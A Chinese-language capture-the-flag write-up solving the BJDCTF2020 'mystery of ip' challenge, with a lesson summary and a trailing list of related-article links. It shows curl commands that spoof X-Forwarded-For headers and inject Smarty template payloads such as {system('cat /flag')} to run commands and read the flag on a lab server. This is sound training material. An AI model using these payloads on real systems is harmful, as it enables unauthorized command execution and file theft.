[BJDCTF2020]The mystery of ip 思路及解法

大家好,那么可以叫我凌,是个16岁的网络安全学习者。

今天我们的目标是 BJDCTF2020The mystery of ip 这道题目。


解题思路

我们先启动靶场

和上次相同,是SSL加密的TCP隧道地址。我猜测这是CTF2的特色,因为以前我刷BUUCTF的时候并没有这种方式。

那我们老样子,依旧使用CURL探探虚实:

bash 复制代码
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/

发现可疑目标,可能藏有Flag。我们继续深入看看。

bash 复制代码
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php

发现了个IP地址,我查了下本机的公网IP和内网IP,并不属于这个地址。那我们ping一下看看

bash 复制代码
ping 10.42.3.43

物理机ping不通,Kali也同个情况。那么我们猜测应该是内网IP暴露在了公网,那继续尝试修改请求头看看能不能欺骗目标。

bash 复制代码
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Real-IP: 127.0.0.1"

curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For:127.0.0.1"

curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "Client-IP: 127.0.0.1"

三个命令两个结果,看来只有 "X-Real-IP" 和 "X-Forwarded-For" 可以欺骗过目标。

html 复制代码
<label><h2>Your IP is : 127.0.0.1</h2></label>
<label><h2>Your IP is : 10.42.3.44</h2></label>

嘶!可是我们要的是Flag啊,现在只是骗过了目标,接下来我们该怎么做呢?

对于以前刚接触这种题目的我可能是满头雾水,但是现在就不一样了。那在这里,我给大家分享个我以前第一次做这道题目得出的一个道理,就连当初我的老师教我的时候也没有讲过。那就是:

渗透测试过程中重要的不是服务器收到的各个信息,而是对各个信息的处理方式。就算是查看浏览器类型,只要处理方式不对也会出问题。

这个道理我相信刷过CTF的人多多少少都会悟出来,就算没有,在这个栏目里面我们也会去逐步验证的。

那我们就直接使用 {{7*7}} 塞入请求头的IP地址里面看看会发生什么。

bash 复制代码
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Real-IP: {{7*7}}"
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For:{{7*7}}"

重大发现。""X-Real-IP"没有什么发现,但是"X-Forwarded-For"居然返回了个49!那说明可能存在RCE漏洞。

那我们就来验证下吧

bash 复制代码
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For:{system(whoami)}"

确认了,用户名被爆出来了,确实存在RCE漏洞。

html 复制代码
<label><h2>Your IP is : www-data www-data</h2></label>

那我们就可以直接读取看看有没有flag了:

bash 复制代码
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For:{system('ls')}"
html 复制代码
<label><h2>Your IP is : bootstrap
css
flag.php
header.php
hint.php
img
index.php
jquery
libs
templates_c
templates_c</h2></label>

看来并没有,flag.php就是目前我们访问的文件,那我们深入根目录看下。

bash 复制代码
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For: {system('ls /')}"

发现可疑文件flag,我们尝试读取看看

bash 复制代码
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For: {system('cat /flag')}"
html 复制代码
<label><h2>Your IP is : CTF2{ae241eeb-b3ad-4b09-8e8e-bade2233be9f}
CTF2{ae241eeb-b3ad-4b09-8e8e-bade2233be9f}</h2></label>

成功拿下flag,这样子这道题就算完成了。


靶场小结

考点标签

SSTI、Smarty模板注入、HTTP请求头伪造、绝对路径

关键感悟

渗透测试过程中重要的不是服务器收到的各个信息,而是对各个信息的处理方式。就算是查看浏览器类型,只要处理方式不对也会出问题。

核心教训

功能点即攻击面:页面上显示IP地址的功能,背后可能对应着X-Forwarded-For、Client-IP等请求头的处理逻辑,每一个能控制输入的地方都值得测试。

解题关键步骤

  • 第一步:发现IP回显功能 → 页面显示Your IP is : xxx,说明后端获取并显示了访问者IP。

  • 第二步:伪造请求头 → 依次测试X-Forwarded-For、Client-IP、X-Real-IP,找到能修改回显IP的请求头。

  • 第三步:测试SSTI → 将IP值改为{system('ls')},确认命令被执行,页面回显了目录列表。

  • 第四步:读Flag → 用{system('cat /flag')}直接读取根目录下的Flag文件

相关推荐
normanhere2 小时前
浪潮云国产化超融合规划和部署案例
服务器·网络
Bruce_Liuxiaowei3 小时前
2026年7月第1周网络安全形势周报
人工智能·安全·web安全·ai·智能体
星幻元宇VR3 小时前
公共安全主题展厅设备【防洪防汛安全科普系统】
科技·学习·安全
AFinalStone4 小时前
Android 7系统网络(一)全景图与调用链路概览
android·网络·frameworks
yxl874646464 小时前
PCTG-1015型Profinet转Ethernet/IP协议转换器
服务器·网络·物联网·网络协议·自动化·信息与通信
你觉得脆皮鸡好吃吗4 小时前
【THM】JWT Security & Protocols and Servers(AI)
运维·服务器·网络
rcms152702692184 小时前
YASKAWA SGD7S-180AA0A伺服驱动器
网络
红糖奶茶4 小时前
【实测有效】 如何关闭Windows自动更新?【图文详解】win10/win11关闭自动更新
其他·安全
忡黑梨4 小时前
安装 Claude Code(使用 DeepSeek API)
网络·网络安全